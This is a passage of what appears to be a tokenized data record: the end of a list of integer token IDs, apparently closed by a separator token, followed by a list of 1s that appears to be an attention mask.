6494,
2618,
6292,
5313,
1012,
14017,
1000,
1025,
3206,
1047,
7811,
4305,
3489,
2475,
14971,
5244,
6494,
2618,
6292,
24238,
7159,
1035,
25610,
13535,
1035,
21677,
13535,
2003,
1055,
26807,
15603,
4232,
2475,
14971,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |